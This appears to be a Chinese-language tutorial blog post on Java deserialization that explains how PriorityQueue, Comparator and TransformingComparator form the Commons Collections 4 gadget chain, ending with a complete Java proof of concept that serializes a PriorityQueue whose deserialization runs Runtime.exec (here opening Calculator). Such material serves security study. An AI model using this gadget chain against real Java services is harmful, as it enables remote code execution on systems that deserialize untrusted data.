0%

CC4基础知识

CC4基础知识

简单整理一下CC4利用链用到的基础知识。

Comparator

Comparator是一个接口,用来实现集合中元素的比较、排序.

1
public interface Comparator<T> {}

PriorityQueue

PriorityQueue是java自带的的一种数据结构,其自带readObject方法,调用了 heapify()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();//调用点
}

其heapify()中有调用了 siftDown 方法。

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

当被比较集合不为空时,其siftDown又调用了siftDownUsingComparator方法。

1
2
3
4
5
6
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

siftDownUsingComparator又调用了,集合的compare方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

其构造函数的参数为int和实现Comparator接口的的对象。

1
2
3
4
5
6
7
8
9
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}

TransformingComparator

TransformingComparator是实现Comparator接口的类。

1
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {

其构造函数接收接口Transformer的对象。

1
2
3
public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}

其compare方法,实现了对transform的调用。

1
2
3
4
5
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

有了上述CC4的基础知识,我们就可以构造出CC2这条链。


注意: 一开始放的的假的命令执行transformer是必须的,因为PriorityQueueadd方法会调用offeroffer又会调用siftUp方法,siftUp又会调用siftUpUsingComparatorsiftUpUsingComparator又会调用comparator.compare,导致命令提前执行,并报错。


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import java.io.*;
import java.util.PriorityQueue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import static ysoserial.payloads.util.Reflections.setFieldValue;

/**
* author: f19t
* Date: 2023/2/26 21:21
*/
public class Test_PriorityQueue {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ //定义一个命令执行的transformers数组
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), //null相当于空数组
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), //null相当于空数组
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"open /System/Applications/Calculator.app"})};
Transformer[] transformer = new Transformer[] {new ConstantTransformer(1)};
Transformer transformerchain = new ChainedTransformer(transformer);
TransformingComparator comparator = new TransformingComparator(transformerchain);
PriorityQueue queue = new PriorityQueue(4, comparator);
queue.add(1);
queue.add(2);
setFieldValue(transformerchain, "iTransformers", transformers);//需要替换为正确的
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}